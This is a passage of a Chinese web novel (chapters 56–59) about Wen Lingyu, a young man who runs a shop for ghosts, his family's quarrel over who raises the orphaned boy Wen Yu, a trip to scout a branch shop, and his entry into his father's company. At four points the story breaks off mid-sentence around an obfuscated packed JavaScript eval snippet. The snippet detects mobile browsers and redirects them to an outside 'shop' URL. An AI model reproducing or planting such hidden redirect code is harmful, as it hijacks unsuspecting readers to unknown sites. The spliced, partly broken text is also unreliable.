病房里围了好几圈人，几乎是把空地都站满了。 坐在沙发上的三叔公环视了一周，确认温家的人都到齐了，眼神示意他儿子开始讲正事。 无非就是批判二叔公这次的行为，为新任上台做足了充分的准备。 其次就是谈到对受伤者的补偿。 说到结束都没有提到温宇，温令羽有些奇怪，二堂叔父也同样。 两个人相视一眼，纷纷从对方眼中发现了困惑。 宣布散场时，温令羽脑海中浮现出大叔公劝服他来时全身心的信任，他实在是做不到无动于衷，想让所有人听到，大声地说：“三叔公，那温宇呢？现在大叔父昏迷，温宇谁来照顾？” 这一席话，把所有人的注意力吸引了过来，全部都盯着温令羽在看。 温父下意识呵斥，但仔细想过温令羽话里意思，也纵容了，放任温令羽发言。 “温宇的父亲只是暂时病倒，总有一天会好起来。我们又不是他爸爸，管不了。”三堂叔父回答道。 这一答案没法让人满意，在场的人都知道大叔父的病情。 要想醒来，实在是太难了。 温父家里也有一个像温宇这么大的孩子，他看不得这些，“既然三叔接管了家里，温宇也是温家人，不能不管不顾。” “不然送托儿所，开学之后再送寄宿学校，剩下的时间温宇肯定也愿意去陪伴他身边的爸爸的。”立马就有人这么建议道。 方法是有点损人，但对于拖油瓶来说最合适不过了。 因此，立马就有其他亲戚应和，“托儿所不行，报个班上也可以。” “教育要从小开始抓起，寄宿学校还可以培养孩子自理能力，好处可大了。” “温宇现在上小学了，肯定要锻炼自己，我觉得好。” 众人叽叽喳喳讨论把温宇送到其他地方，反正只要不在自己眼前，在哪里都可以。 二堂叔父作为受益者，原本是想当没听到的，害怕得罪族中这些人，会将他好不容易拿到的东西再夺回去。 这样的后果他承受不起。 不想再被桎梏。 可越听到后面，对整个家失望的同时，他也在唾弃自己，情绪立即就上来了，“要是让你们的孩子去，你们愿意吗？” 这一吼，全场霎时间安静下来。 其他人纷纷给他让出一条道，一下子成为了全场的焦点，原本还没看到人的，现在是看清楚了，知道刚刚是谁在说话。 竟然是刚赶下台那位的儿子。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13556392|132143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知晓了身份，更加无所顾忌。 “你这个人怎么说话的。” “他们一家子都是被你们家害的，还好意思出头啊。” “我要是你，恨不得夹着尾巴做人。” “有本事，你自己去养啊，指望别人这事倒是做得炉火纯青。” 一人一句，无一不在刺激二堂叔父的神经，同时却又让他更加清醒明白，他爸以外还有魔鬼，刀刀不见血。 “我养。大哥一日不醒，温宇就是我的儿子。” 二堂叔父摔下这么一句话，直接从房间内走了，他再留在这里，怕一冲动上去一拳揍倒族亲。 环境更是让他窒息。 温令羽跟随二堂叔父走跑了出去，温父想追，奈何他们之间隔得太远，根本抓不住。 一溜烟，温令羽已经从门口跑掉了。 二堂叔父直接从病房到大叔父那，温宇乖乖地趴在床边，然后就被二堂叔父抱在怀里。 “以后我来照顾小宇。” 鬼魂状态的大叔公来到温令羽身前，指着相拥的场景，说道：“发生什么事了？我想你应该可以给我一个解释。” “大叔父的情况不好，不知道什么时候才会醒过来。温宇这么小不能没有人抚养，叔父说要抚养他，直到大叔父醒来。” 温令羽说完，又用简短的话将众人讨论的结果告诉大叔公。 大叔公良久都说不出话来，只是捂着心口，非常痛苦，“我的弟弟，你们竟然会变成现在这个样子。” 鬼魂早就失去了感觉，可以冷漠地去看人世间的一切，但此时此刻，能感受到对方充满哀伤。 大叔公重新看向温令羽，他平复了心情，“你去找医生再问一问，我想亲耳听到医生说。” 温令羽答应了，主治医生的办公室离这里不远，根据提示很快就找到了。 “你是对方什么人？”涉及病人隐私，主治医生多问了问。 温令羽如实答道：“他是我的叔父。” 主治医生想起病房里陪护的人，“看护他的听说是他的儿子，家里没有其他大人了吗？” 大叔父很晚才娶到妻子，但叔母的身体不好，原是不打算要孩子的，但温宇来得突然，夫妻俩谁都不愿意打掉。 大龄孕妇出事率高，更何况是叔母长期生病的人，在生温宇时，出了意外人就走了。 因此，长久以来都是大叔父一人将孩子拉扯大，事事上心，又当爹又当妈。 温令羽摇了摇头，“我叔母她出意外人没了，都是由我叔父带大的。如今他的家里已经没有大人了。” “那你们要做好心理准备，病人伤的是头部，我们医院没有把握，能留住他的命已经是尽全力了。”主治医生建议让大叔父转院，或许还会有醒过来的机会。 温令羽还是想给大叔公留一个念想，“你是说外面大医院会治好的，是吗？” 这种套话医生早见得多了，完全不上套，“我只是说有可能。但是留在这里我们没有其他办法。” 56.态度转变 “几天能安排好？” “我会尽快。” 二堂叔父负责留下处理大叔父转院的事情，老家距离他们所居住的城市太远了，这个时候就成了一个巨大的问题，光靠车辆完全不行，但要是选择飞机，手续办理就很复杂。 温令羽还在放暑假，自告奋勇说要留在这里帮忙，为此还和温父吵了一架。 但最终是以温令羽的意愿结束。 而面对这些，他们的分工是温令羽带温宇，而二堂叔父去管大叔父。 这个分工，温令羽都看出来太不公平，提出了抗议，“你一个人哪管得过来，现在大叔父身边离不开人。” “那你就和温宇待在病房里照看，其他的事情我去安排。”二堂叔父原就是这么计划的。 倒不是温令羽不情愿，是温宇他看到爸爸躺在病床上的样子，控制不住自己的情绪，一不注意就又哭了。 医生见状都要让温宇平复情绪，否则温宇本就不好的身体，早晚有一天会出事。 这些日子忙碌，二堂叔父忘记了这些事情，被温令羽这么一提醒，他一时还真想不到其他的办法。 温令羽想继续让温宇待老家，医院这边他来看护，就把想法和叔父明说了。 二堂叔父一口就否决了，“我大哥这边会请护工，你不用再管了，老家都是不熟悉的人，不能让他在那，至少你要在那里陪他。” 现在的二堂叔父连带着恨上了老家那些古板，没有一丝信任。 这么坚持，温令羽也就只好同意了。 回去的时候，温令羽和温宇先回去，然后二堂叔父陪大叔父一块回来，直接送往医院。 还好路上没有发生意外，顺利地转到了新的医院。 而温宇，先和温令羽回了自己家。 “阿羽，你终于回来了。当时你二话没说就走了，这么多天，我可担心你了。”阿辛佯装泪洒，然后注意到跟在温令羽身后的小孩，“从哪里带回来的弟弟？” 温令羽一时还真想不到该从哪里开始解释这些，“这件事说来话长，下次有机会我再和你说。” “堂哥，你在和谁说话？” 温宇第一次来温令羽家，感到陌生，于是他的注意力全放在温令羽身上，哪怕是压低了声音，也还是可以听得见。 给温令羽一惊，紧张起来，“我没说话，你听错了吧。好了，先带你去房间休息吧。” 隔天一早，二堂叔父就来接人了，来得特别早，屋子里的人都没有醒。 温令羽没听到门铃，是阿辛被吵得不行，走到床边叫温令羽起床，“有人敲门，你快去……” 说着，直接在温令羽的床上倒下。 年轻就是好，到头就能睡。 温令羽回来之后睡了一觉，导致晚上该休息的时候一直睡不着，早上更是补觉的好时候，烦躁地去开门，连谁都没看，转身就走。 一系列动作绝不拖泥带水。 二堂叔公就这么看着温令羽眼没睁开，就要回去睡回笼觉，心里想：大半夜做贼了，困成这副样子。 “你刚醒吗？都八点了。” 连续相处了这么多天，不看光听就知道，温令羽勉强打起精神，回应道：“叔父，你这么早就来接人？都没人醒。” 这个点连家里的鬼都没醒。 “趁着现在还早，直接带温宇去办手续。”二堂叔父准备一次性将正事解决了。 “温宇昨天很晚睡，现在还没醒。”温令羽指了指旁边的空房间，自己则是去浴室洗把脸，让自己清醒清醒。 等温令羽从浴室里出来，就看到二堂叔父在给温宇换衣服，催促他去刷牙洗脸。 现在温宇不在，是问问的好时候。 “大叔父的情况不好吗？医生怎么说？”温令羽时刻注意温宇的动向。 二堂叔父摇了摇头，“情况不好。所以我这次来是想抚养小宇，以后他就跟着我生活。” 温令羽应了一声，说道：“大叔父现在在哪间病房？” 大叔公是跟儿子走的，虽然这么大只鬼不会出什么意外，但到底要去看一眼，他现在可是所有鬼魂的“监护人”，唯一能促进交流的桥梁。 医院是在另一个区，离二堂叔父家更近。 温令羽赶到了病房，大叔公确实是陪护在大叔父床边，他坐在陪护椅上盯着病床上的人，一动不动，显得在旁边认真工作的护工特别忙碌。 护工是第一个注意到温令羽来的，单人病房里进来位他不认识的。 “你是谁啊？” “里面是我叔父。” 可能是二堂叔父交待过，护工当场拨了个电话过去，确认来的人安全，便找了个理由。 温令羽走到大叔公身边，“叔公，你现在还好吗？” 自己在想什么，就容易出现幻觉，觉得别人就是像自己感觉的那样。 如现在，温令羽害怕大叔公就这么撑不住了。 出乎意外，大叔公光看看就笑了，“他小时候我很忙，没什么时间陪他，没有机会看他长大。现在倒是可以好好看看他大人的样子。” 温令羽那口气完全不敢松，生怕大叔公精神崩溃了。 但大叔公只是絮絮叨叨在讲他生前的事情，从他如何期待孩子出世开始讲，一件事情接着一件，记忆的闸门被打开了。 突然，大叔公的声音停止了，他怔愣地看自己逐渐透明的手臂。 温令羽顺着视线，看清了眼前的状况，他三步并作两步上前，想抓牢。 鬼魂状态都抓不住，何况是现在要消散了。 温令羽惊呼出声：“为什么？” 大叔公没回应，他执着去抚病床上那人的脸，执着地看，要把这张脸刻进心脏里。 “明明没有完成任务啊？二叔母的预产期没有到！” 二叔母还要好几个月，胎儿都没有完全成型，绝不可能现在就出生。 温令羽在复盘，自言自语道：“没有生的话，二叔公哪来的孙子？是二叔公外面找了人，还是叔父？” 都开始往不好的地方去想了。 思绪都不知道偏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13566292|132143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 离到哪里去了。 大叔公近乎透明，他终于肯将视线转移到温令羽身上了，“不是，是温宇。” 仅仅留下这五个字，就消失在温令羽的视线里。 温令羽不敢耽搁，就将这里的情况告诉了温老，当然不忘加上大叔公最后的五个字。 五个字或许就是最关键的线索。 阿辛问出了温令羽心中疑惑，“温宇怎么成为你二叔公的孙子了？他不是你大叔公的孙子吗？” 说完，还加带吐槽：“你家亲戚怎么这么多，好难记。” 晋叔注意到这边的情况，看了在场一圈，除了他以外，全是一脸问号。 确认过放心了，晋叔走上前站到中间，说道：“我知道。” “那位鬼先生他的祈愿任务是庇佑唯一的孙子出生，这个大家都知道，而现在办了抚养手续，温宇变成了名下唯一的孙子，符合任务条件。” “而且鬼先生最后提醒你了，‘是温宇’。我早说过他的任务难度最简单，应该安排在第一位，一份收养手续就能成功。” 晋叔说起这个事，他就不免骄傲起来。 阿辛不敢置信，“还能这样？不需要血缘关系也可以吗？” “这个也不是全都适用，我当时就没明说。要看具体事情。”晋叔当时还心有顾虑，不敢把全部知道的告诉温令羽。 温令羽也不得不佩服，晋叔确实比在场的都要了解情况，说道：“不愧是晋叔，很懂。” 这个说法得到其他鬼的同意。 晋叔将重新整理好的任务清单摆出来，放在最上面的，在场的人都熟悉，竟然是于先生。 “明天就到了约定的时间，我们就要去找这位于先生，不如就将这个事提上日程。”晋叔提醒过几天要去看分馆的事情。 这一下把回忆拉回前几天，当时为了分馆的事情晋叔还发火了，后来阿辛过来控制局面，达成了交流所都过去看。 浅浅定下这件事，温令羽就被紧急交去了老家，把后续的事情都交给了阿辛。 温令羽确实要表个态，他走到晋叔面前，朝他深深鞠了一躬，“鬼小馆分店的事情是在你还没来之前定好的，你加入我们之后，我作为店长，都没把事情全部告诉，是我的失责。” “之后我会多多注意，我们一起努力将鬼小馆经营得更好，让更多鬼魂有处可去。”温令羽伸了右手，同晋叔握手，正式欢迎他的加入。 阿辛对他们交好的场景看得高兴，早些时候吵起来，他作为中间人，过得日子那叫一个惨，现在就好了。 在一个团队里面，隔阂是最不需要的。 阿辛将一旁“看戏”的温老一同拉了进来，欢迎晋叔的加入：“虽然这句话我老早说过了，但还是可以多说一句，欢迎晋叔加入我们这个大家庭。” 久违的一同回家。 温令羽想到晋叔，不由自主想表扬阿辛的看鬼眼光好，给他们找了这么得力的帮手，“阿辛，你从哪找来的？” 想着知道了捡鬼的地方，温令羽有一天也能找到。 57.分管调研 隔天一早，温令羽带着家里的两只鬼到鬼小馆，同晋叔会合。 晋叔长时间待在鬼小馆里面，对这个城市不熟悉，哪条路都分不清，于是就放弃了让他过来，约在了鬼小馆见面。 在门口接到了人，直接打车直达目的地。 司机接到这么偏远的单子还奇怪，车子一过来，一眼就能看到温令羽，这周围只有他一个人站着。 就是在他看不见的地方，还有。 温令羽上了副驾驶，将后面的位置留给其他三个。 “这附近都没有什么人，怎么突然来这里了？”车上就他们两个人，主动发起话题，让这趟行程不会太过无聊。 温令羽知道什么话能说，打着哈哈，说道：“和朋友约在这里，放了我鸽子。” “这么远，怎么不高铁过去？”司机很少能接到这么大的单子，现在选择汽车出行的人少，能选高铁就坐高铁，既方便又快。 温令羽查过路线，那个地方都没有通火车，更何况是高铁。 司机这么热情，温令羽也不好意思让他的话落在地上，“那里还没有通，大巴要转车太麻烦了。” 坐在后座的晋叔第一次出这么远的门，他问坐在身边的阿辛，“这么远，那我们要坐多久车？” 听到这话，温令羽翻出手机看这趟行程的预计时间，傍晚就能到地方。 温令羽查询的时候，阿辛看见了，都不需要提醒，自己就探头过来看，然后对晋叔说。 以前的每一次出门，温令羽都只带阿辛外出办事，温老还是这段时间头一回，兴奋得不行，一直在看车窗外的景色。 路程长度就这么摆在那里，这几个小时的车坐下来，温令羽这个小身板再也受不住了，整个身体疼到不行，还有些头晕眼花。 阿辛担忧地看过来，“阿羽，你还好吗？” 上一回去葛家，都没有坐这么长时间，这一次是坐得够够的。 温令羽是不晕车的，或许是有阴影了，胃里翻江倒海的，特别难受，但又不想让他们担心，说道：“没事。于先生在等我了，先进去吧。” 于先生找的地方是他生前买的养老住宅，他买得早，说是住宅，还连着后山。 这些都是他生前自己买的，不过还没到养老的时候，他自己就先死了，没享受到。 除了地方太偏，没有什么不好地方，设施也很齐全。 于先生领着他手上大批人，看到温令羽他们过来，走上前来迎接，准备带他们上去。 “你们终于来了，我还以为最迟下午就能到。”于先生还是有些意外的，太阳都快下山了，说明赶路整整赶了一天。 温令羽说道：“地方太远了，我们打车过来的。” 于先生恍然大悟，“怪不得，那我们进去吧。” 温令羽只是听于先生简单说过是他的产业，但没想到竟然是这么大一块，虽然是在山里，但也太大了，房子都是装修好的。 由于装的时间太早，风格太古早，有一点欣赏不来，不可否认是好看的。 于先生边走边介绍道：“我没有孩子，家产都留给了弟弟妹妹。只有这处给我养老的地方，太偏僻没有人要，就荒废在这里了。” 有房都不要。 阿辛叹为观止，这要是好好改装一番，哪怕是与世隔绝也超爽的，“于先生，你以前是多有钱，这么大的房子说不要就不要。” “他们都很优秀，看不上我买的这块地方。”于先生尴尬地笑了笑。 他们两个说话的功夫，温令羽发现晋叔落在了队伍最后面，把人叫上来，“这里的设施没有鬼小馆齐全，但该有的都有了，剩下的可以靠经营。你说是吗？” 现在鬼小馆里可以维持基本生存，娱乐休闲方面可以等到日后慢慢完善，这些事情是不可能一蹴而就的。 阿辛也赞同温令羽的话，附和他：“是啊，晋叔。你待在鬼小馆这么久，肯定也是看它一步步完善起来的，现在肯定也是一样的。” “况且，你刚刚过来的路上也看见了他们露宿街头。鬼小馆他们只是听说过，但距离太远根本就不可能去。”阿辛巧妙借助实际看到的。 晋叔被说服了，到了更远的地方看，才发现不少的鬼魂还流落在外。 总觉得不留在鬼小馆里，一定是死后还有处可去，完全没料到还有另一种情况。 晋叔如此想着，也不再抗拒，“这么看来，你们当时的决定也没有错。” 刚说完，在场的其他人松了一口气，僵局一下子被打破了。 在大家重新去看屋内布置，注意力都在那上面，晋叔把温令羽拉到一边，诉说他心中的顾虑不安。 “分馆放这么远，以后怎么管理呢？我不是不信任，只是鬼小馆要留存很久，管理也会重新更换一批，不能保证都会是好的。” 鬼小馆老板的择选是俗称的规定，但分馆还没有。 天高皇帝远。 管不到，要是在这里作威作福，那这件事就糟了。 阿辛也和温令羽讲过这个，但当时于先生的要求在那，甚至他做了保证，可以放心把分馆交过去。 晋叔未雨绸缪，担忧后来事。 温令羽想了想，现在市面上都有远程监控，隔着距离也能时刻关心事情走向。 知道晋叔是为了鬼小馆好，安慰道：“鬼界正在研究远距离通讯的技术。就比如投影，尽管片子老旧，但依旧在加快更新速度。未来肯定有远程监控的仪器。” 同处在一个世界中，人有的，鬼同样有如此的智慧可以加快落后的脚步。 参观了全部地方，心也慢慢安定下来。 这个分馆可开。 温令羽这么想着，于先生似有所感地支走身边的人，说道：“温先生，我们换个地方说话？” “我觉得很好。”温令羽清楚于先生想知道什么答案。 话音刚落，于先生终于是放下悬着的心，大大地松了一口气，“上次那位强烈拒绝的老头，他改观了吗？应该不会和上次一样了吧。” 那天温令羽在向鬼小馆众人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13575442|132143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宣布时候，晋叔直接当场翻脸，说不同意就不同意，态度极其坚决。 原本就是事件发起人，非常尴尬。 温令羽赶紧摆了摆手，“保证不会了。晋叔近期刚加入进来，这些事情都没来得及说，所以他心有顾虑。今天过来一看，解释清楚了，当然没有意见了。” “那就好。他知道你是鬼小馆的老板吗？”于先生实际想表达的，面对鬼小馆的现任掌权人都敢这么对着干。 温令羽心里不觉得有什么，相反对于能提出意见的，他是举双手双脚赞同的。 “他知道的。这个事情不是需要隐藏的，只是历代都不会去管，没事也不会去问，慢慢的就神秘起来了。” 只要过得好，老板是谁压根就不关心。 而温令羽找的那会，恰好是葛大哥的考验，后来温令羽问过之后，才知道完全不用特意。 温令羽和于先生又聊了一些后续的事情，例如正式在鬼小馆宣布分馆的事项，官方正式打出广告，这样可信度高自带“防伪标识”。 “现在就是这个负责人员了……”于先生还是主动说了。 开始谈得好，双方达成了不少共识，但对于一开始就产生分歧的，都十分有默契的，没有把它先拿出来说，纷纷选择容后再议。 温令羽记得约定，说道：“当时说的是，你选名额上来，但是最后的决定权利在我手上。” 尽管只能在范围内选，但要实在是全不满意，只能再择一批。 于先生点了点头，“你还记得就好。刚刚跟我们一起进来的三位是我选好的，在帮忙布置采买的时候帮了不少的忙。” “今天已经很晚了，我要回去好好想想考核问题，明天给你答复。”温令羽对于负责人的事情重视，自然不能随便一选。 温令羽睡在一楼大客厅，这里是唯一有软装的地，其他房间连个给温令羽躺的地都没有。 阿辛在沙发边铺好了地铺，带着他的被子和枕头等温令羽。 “阿羽，你和于先生聊什么这么久。”阿辛早就开始犯困，依旧坚持在等。 夜间的山里还是很冷的，温令羽将自己特意带来的厚外套盖在身上，外套则叠起来当枕头，“不用等我，你可以先睡觉的。” “那可不行。”阿辛一口就拒绝了。 温令羽关了灯，整个房子暗了下来，却也不断影响思绪，“阿辛，你说如果要选一个分管负责人，那应该设定什么样的标准？这个标准又怎么考核？” “所以你刚刚是在忙这些事，怪不得迟迟不来。”阿辛这么想着，脑子里在深思温令羽的问题，“你问我要什么标准，就像葛大哥考你一样，对我们这种当鬼的都好的。” 太广泛的条件。 当时葛大哥是整整考核了几个月，现在要几天甚至一天之内选出来，难度太大了。 “有没有更具体一点的？能够短时间确定的？” “心是最难看出来的，短时间不可以。要不然你试试轮换，给个隐藏试用期，悄悄看他们的结果。” 58.难辞之请 “轮换制？” 其他三位候选人齐齐看向于先生，在询问他的意见，但于先生也没想到温令羽是这样的决定，久久没回答，现场的氛围一下子变得紧张起来。 晋叔见状站了出来，“我想留下来。” 温令羽是肯定要回家去的，留在这里完全不现实，但这里却一个自己人，晋叔是个好选择。 阿辛也在一边附和道：“我同意。晋叔在鬼小馆待了这么久，肯定是非常了解。更何况分馆还没弄好……” 分馆需要一位了解鬼小馆的经营方式的鬼魂，晋叔能在这里帮忙，能最快让分馆步入到正轨。 这么快没回答，竞争者又多了一个，于先生顾不上想没想明白，赶紧说道：“当时说好的不是这样，是要留一个过来看管吗？” “当然不会，一样采取轮换。”意识到于先生误会了用意，温令羽赶紧解释道，作出承诺的事情绝对不会随意变卦的。 虽然和之前有一丝偏离，但是现实情况是，于先生选的担不了分馆的重任，是要帮手。 将这边的事情处理完了之后，温令羽当场就准备打车回去，晋叔制止了他。 “你是不是忘记了什么事情？” “什么？”温令羽好不容易履行了承诺，放下了心底的大石头，脑子里哪还记得其他事情。 温老手肘碰了碰温令羽，示意他看站在一旁的于先生，用嘴型提醒温令羽——任务。 温令羽恍然大悟，趁晋叔开口前记起来了，“那个任务的事情还需要和于先生谈一谈。” 于先生的资料是晋叔从档案室翻出来的，并不是他主动来交流所的，情况和其他人不一样，不是说想解决任务就能解决的。 晋叔知道温令羽这是想起来了，他心系人鬼交流所的任务重点。 在他们的目光下，温令羽来到了于先生的房门前，他敲了敲门。 于先生早早就睡下了，为了明早还要给温令羽送行，温令羽原先要偷偷跑的计划就这么泡汤了。 “你怎么来了？” “里面方便吗？我有点事情想说。” 于先生把人请了进来，他让温令羽随便找个地方坐下来，然后他另找了个空地能更好谈话。 温令羽开门见山，说道：“我们交流所的店铺事项你应该也听说过，但现在要忙的祈愿任务太多了，所以挑选过，挑简单的先完成。” “可我没有去登记过啊，这跟我没有关系吧。”于先生听说过交流所排长队的壮观景象。 温令羽也知道这件事情，“确实没有，但是现在档案有，你想不想？” 还没有说完，于先生就打断了，“我不需要，这个问题你上次问过我了。” 记忆重回到他们谈事的那天，于先生用宴请的方式来向鬼小馆老板求一个愿望。 那个时候温令羽也问过这个问题，但那是用条件交换的，与这一次的情况不一样。 “上次，是用要求换的。这一次是我作为老板的责任，无偿帮助你。” “谢谢你的好意，我不用。既然没有其他事情，就早点休息，明天还要赶路回去。” 被下了逐客令，温令羽不好久留，只能先离开了这个房间。 房间外，阿辛蹲在地上，听到开门的动静，看到温令羽走了出来。 “怎么说？” “没答应。” 阿辛还没说话，晋叔十分着急，片刻都等不住，“怎么会有鬼会拒绝呢？你有好好说吗？” 温令羽看了过去，反问道：“不相信我？” “没有。”晋叔连忙摆手，他并没有这种意思，只不过这个超过了他长久以来的认知，“那我之后再看一看。” 阿辛从后面冒了出来，非常惊讶晋叔的决定：“晋叔你变了？你以前不会是这样的。不知道是谁说，这种好事不会有鬼会拒绝的。” “鬼是会成长的，毕竟还是按意愿为主。”晋叔不想再做勉强的事，要换成之前的晋叔，绝对是采取先斩后奏的决定。 温令羽见这样就放心了，又叮嘱了一些注意事项，还好当时葛大哥给他看的资料好多遍，多多少少记得一点，这个时候能派上用场。 在外面待了很多天，回到自己的家，温令羽有一种恍如隔世的感觉。 从满是鬼的地方回到了现实世界。 于先生找的地方信号不好，时有时无的，回消息总是延迟的，晚几分钟还好，甚至晚好半天。 宋时盛等人一回来就拉他去吃饭，“我忙得很，你倒是清闲到出去旅游了，连消息都懒得回。” 温令羽这几天全吃的速食，早就是饿得饥肠辘辘，看到熟悉的爱吃的那些，完全忍不住，光顾着自己吃转眼看宋时盛还慢慢地品尝。 温令羽给他夹了块排骨，“你平时爱吃的，糖醋的。” “难为你还记得。你真不来我公司吗？我们两个创业绝对能把这个越做越大的。”宋时盛这段日子忙得脚不沾地，而且身边没一个能搭把手的助手，急需要帮助。 原先宋父派给他的人，这段日子都已经回宋氏，让宋时盛一人主持大局。 温令羽听宋时盛这么一说，脑子不由得记起温昕生日宴的晚上，本来他是要回家的，温父却是第一次苦口婆心开口挽留他回家。 温令羽鬼使神差地跟了上去，和温父一同上了回温家的车，车上只有他们两个。 “你爷爷走的时候，把名下的股份都转给了你，我的那部分已经转给你了。剩下的都是留在小昕的。”温爷爷留给温令羽的那部分，温父从来没有提起过。 温令羽久久说不出话来，那名严厉又仁慈的老人家到死都在为温令羽考虑，本不爱哭但这一瞬间眼泪再也崩不住，“爷爷，是我对不起他的教诲。” 温父低下了头，说道：“好了，现在不提这个了。你爷爷临走前把我叫进去，跟我说要让你选择自己想做的，所以你大学我没有逼你选专业，你想做什么都随便你。” 话说到这里，温令羽就能想得到下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13627421|132143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一句但是。 “你妹妹还小，而我已经老了。之前和你说回公司的事情，我希望你能给我一个满意的答案。” 气氛正正好在这里，而且是近些年仅有的几次没有发生争吵。 温令羽心不硬，被如此一说服，点了点头最终还是答应下来。 “我开学之后就会回公司的。”温令羽直接告诉最后期限，也好让温父放心。 温父松了一口气，他先给股份，然后趁着晚上多愁善感，刚参加过温昕的生日宴，事情全堆在一起的时候，再和温令羽谈了这件事。 脑袋不够清醒，也更容易心软。 车子行驶到了家里，温令羽情绪稍微清醒了一点儿，他觉得再待几分钟，肯定又会答应一些乱七八糟的。 “那我先回去了，你早点休息吧。” “不行，等你进公司之后马上就会遇到事情，你跟我到书房来。” 温令羽叹了口气，跟他进书房，一份文件就直接摆在他的面前，上面是公司最近的一个经营项目。 而上面写了其他竞争的公司，最大的竟然是三叔公那一脉的。 “三叔公？可现在都是叔父在管家。”上面还明明白白写着，两家公司的竞争到现在进入到白热化阶段，这个项目任谁都放弃不了。 温父坐到了他的位置上，说道：“我知道你清明那时候和你三叔公一家住一起，但我们早就是竞争对手，你不会真以为他是爱护小辈让你过去住，不可能的。” 温令羽不敢看温父的眼睛，他是更相信亲情，偏偏在温家这个词语最为难得。 温父不忍但是有些话不得不说：“你爷爷的几个兄弟姐妹，就没几个善茬。我是你爸，怎么样我都不会害你的。” 不过温父没有执着于让温令羽现在就相信，话已至此就足够了。 记忆和思绪重新回来，温令羽将温父让他回公司的事情告诉了他，“现在连我自己都没时间了。” “那确实。你家的事可不比我这少啊。”宋时盛想过温令羽会找什么理由，拒绝了这么多次有了经验，唯独这一个，还真没有法子。 不过这话，让温令羽顿时明白宋时盛应该是知道什么内幕，问道：“你是不是知道了什么？” “具体情况我也不清楚。我听我爸说过一嘴，好像是公司员工出现了纰漏，导致了公司资金周转不过来。”宋时盛讲了个大概。 按道理说，温氏经营到现在，肯定有一套员工管理制度的，大事上级绝对会层层把关的。 “我觉得不应该这样，管理的人都没了吗？” “好吧，瞒不住你。说是你们家里搞内讧，然后才搞成这个样子的，但这仅仅是猜测，我也不敢直接和你说。” 一顿饭吃得没滋味，温令羽搭乘宋时盛的车回去。 “你爸什么时候给你配车？要不然你去哪里都不会方便吧。”宋时盛摇下车窗，对着回去的温令羽说道。 温令羽想想也是，“说得也对，你回去吧。” 59.温氏集团 开学手续办完之后，温令羽照常办理他的走读程序，学校系统太费，学费和住宿费是一起收取的，每年都得重新申请等待审核。 温令羽办过了一次，对各种手续都很熟悉，但奈何其他人不熟，排队进度进展得很慢，来得晚就容易等到最后一刻。 全部程序走完，温令羽按照约定给温父打去了电话。 “我还在给你妹妹办入学，你自己去公司找我吧。”大学和初中的开学日子撞在了同一天，由于是温昕刚上初一，学校要留下家长短暂地开一次家长会，讲一下学校的情况，温父短时间走不开。 温令羽将脑子里他上初中的记忆赶走，说道：“我知道了，我先过去。” 挂完电话后，温令羽从行政楼到校门口，他手机上已经在打车平台上预定，但是正值开学季，又处在大学城，等了半天都没人接单。 最终在校门口拦了几辆出租车无果，温令羽放弃了打车的想法，去最近的地铁站乘地铁去公司。 挤是有些挤，而且还不直达，一不小心在路上就花费了一个半小时，连开完会的温父都到了公司。 “我以为你半路反悔又不来了。” “学校门口打不到车，我坐地铁转公交来的。” 温令羽这句话里有话，而且也料定温父能听懂，之前都没去找温父来提，这一次是抓住了机会可以好好谈谈买车的事。 他现在可没有主动去要的勇气了。 “买车的事情我本来是想你自己赚钱自己买的，但现在急用，我会配辆代步的给你，好车就要靠你自己去赚了。” 温令羽点了点头，他确实缺一辆代步的。 温父给温令羽配了个助理，负责协助温令羽的日常工作，帮助他快速上手工作，如今就是那个经营项目最为重要，为此还成立了专门的项目部特别负责。 温令羽是项目部的代理负责人，原先的负责人因重大失误被停职处理，位置暂时由温令羽暂代。 刚到办公室，温父派来的助理已经在门口等他了。 “我是温总安排的助理于安，负责协助这次的项目。” 于安先作了自我介绍。 于安是刚升到总助助理的位置上，还没坐热就被派到小温总身边，她不清楚这位小温总的脾气，要是位为难人的老板，她可就遭老罪了。 